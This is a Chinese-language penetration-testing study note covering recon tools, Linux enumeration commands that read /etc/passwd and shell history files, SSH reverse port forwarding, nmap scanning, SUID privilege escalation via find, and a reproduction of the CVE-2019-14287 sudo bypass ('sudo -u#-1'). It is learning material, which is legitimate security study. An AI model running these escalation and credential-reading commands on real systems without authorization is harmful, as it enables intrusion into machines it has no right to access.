渗透学习-Linux(一)

信息收集

相关概念

whois:就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人、域名注册商)

旁站:是和目标网站在同一台服务器上的其它的网站。

C段:是和目标服务器ip处在同一个网段的其它服务器。

相关方法、工具

1.旁站、C段查询:微步在线http://webscan.cc/
2.whois查询:http://whois.chinaz.com/
3.网站架构探测:http://www.yunsee.cn/info.html
4.目录扫描工具:https://github.com/H4ckForJob/dirmap
5.layer子域名挖掘机
6.nslookup 域名:查看ip,有多个的话说明有cdn
7.查看服务器系统:更改url路径,windows大小写不敏感,linux敏感
8.绕安全狗等waf:本地安装软件,字典批量跑,本地能过的话便可直接使用payload过
9.查询真实ip:censys.io
10.常见端口渗透:https://www.onebug.org/usr/uploads/2020/04/3912046261.png

Linxu下命令

  • whoami:查看当前用户;who可查看登录系统的时间
  • cat /etc/issue:查看主机版本
  • cut -d : -f 1 /etc/passwd:查看所有用户
  • pwd:当前工作路径
  • su 用户名:切换用户
  • grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}':列出超级用户
  • awk -F: '($3 == "0") {print}' /etc/passwd:列出超级用户
  • ls -a:列出所有文件,包括隐藏文件
  • cat /proc/version:查看内核版本信息;uname -a一样
  • env:显示用户的环境变量
  • set:显示用户的局部变量和用户环境变量;declare一样
  • netstat -anutp:端口及其进程信息
  • crontab -l:查看计划任务
  • sudo -l:查看用户权限

查看用户操作:

  • cat ~/.bash_history
  • cat ~/.nano_history
  • cat ~/.atftp_history
  • cat ~/.mysql_history
  • cat ~/.php_history

Linux的组

Linux中的每个用户都必须属于一个组,不能独立于组外

1.所有者:谁创建了该文件,谁就成为了该文件的所有者;可以使用chown 所有者名 文件名来更改文件的所有者

2.所在组:创建了该文件后,该文件的所在组就是该用户所在的组;可使用chgrp 组名 文件名来更改文件所在组

3.其它组:除开文件的所有者和所在组的用户外,系统的其他用户都是文件的其他组

例.

▶ ls -l
总用量 4   
-rw-r--r-- 1 root root 66 11月 26 21:11 a.php
  • 第一个字符代表文件类型:-代表文件,d代表目录,l代表链接
  • 第一个rw:文件的所有者的权限是读和写
  • 第二个r:与文件所有者同一组的用户的权限是读
  • 第三个r:不与文件所有者同组的其他用户的权限是读
  • 1:表示连接的文件数
  • 第一个roor:表示用户
  • 第二个root:表示用户所在的组
  • 66:表示文件大小,单位为字节
  • 11月 26 21:11:表示最后修改日期
  • a.php:文件名

与组相关的命令:

  • id:默认查询当前用户的组等信息;例如执行id root后输出uid=0(root) gid=0(root) 组=0(root)组=后面的即为该用户所在的组

  • groups:查看当前登录用户的组内成员;groups 用户名为查看该用户所在的组以及组内成员

  • cat /etc/group:查看所有的组

  • groupadd 组名:新建组

  • groupdel 组名:删除组

  • useradd 用户名 -g 组名 –G 组名 -d 目录名 -p 密码:添加用户,-g 指定该用户的首要组 ,-G 指定该用户的次要组,-d 指定该用户的Home 目录 ,-p 指定该用户的密码

  • userdel 用户名:删除用户

  • passwd 用户名:修改用户密码

端口转发

用ssh命令进行端口转发:

ssh -fqNR 0.0.0.0:公网端口:内网ip:内网端口 root@公网ip

扫描局域网IP

bash脚本

#!/bin/bash

domain=43

for address in {1..255}
do
echo $ip
IP=192.168.$domain.$address
ping -c 1 $IP |grep -q "ttl" &&echo $IP up ||echo $IP down 
done 

扫完后用arp -a查看;不过这种方法实在是慢。。

nmap

扫描端口:

sudo nmap -sS -p 1-1000 -v 192.168.43.19

扫描主机:

sudo nmap -sn 192.168.43.0/24

msf

msf带有nmap插件,打开msfconsole后直接用上面的nmpap命令即可

Linux下用SUID提权

p神文章

suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。

设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:

    Real UID 执行该进程的用户实际的UID
    Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
    Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)

通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了

有的同学说某某程序只要有suid权限,就可以提权,这个说法其实是不准确的。只有这个程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。

已知的可用来提权的linux可行性的文件列表如下:

nmap
vim
find
bash
more
less
nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件,可一个一个试

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

我们查看具有root用户权限的SUID文件

find / -perm -u=s -type f 2>/dev/null

我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行

/usr/bin/find examples.desktop -exec whoami \;

CVE-2019-14287 sudo提权漏洞

这次D^3有道题也用到了这个洞,记一下

漏洞描述

2019年10月14日,CVE官方发布了CVE-2019-14287的漏洞预警。通过特定payload,用户可提升至root权限。

利用前提

sudo -v < 1.8.28
知道当前用户的密码
当前用户存在于sudo权限列表

漏洞复现

mark@mark-Pc:~$ id
uid=1000(mark) gid=1000(mark) 组=1000(mark),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
mark@mark-Pc:~$ sudo -u#-1 id
[sudo] mark 的密码: 
uid=0(root) gid=1000(mark) 组=1000(mark)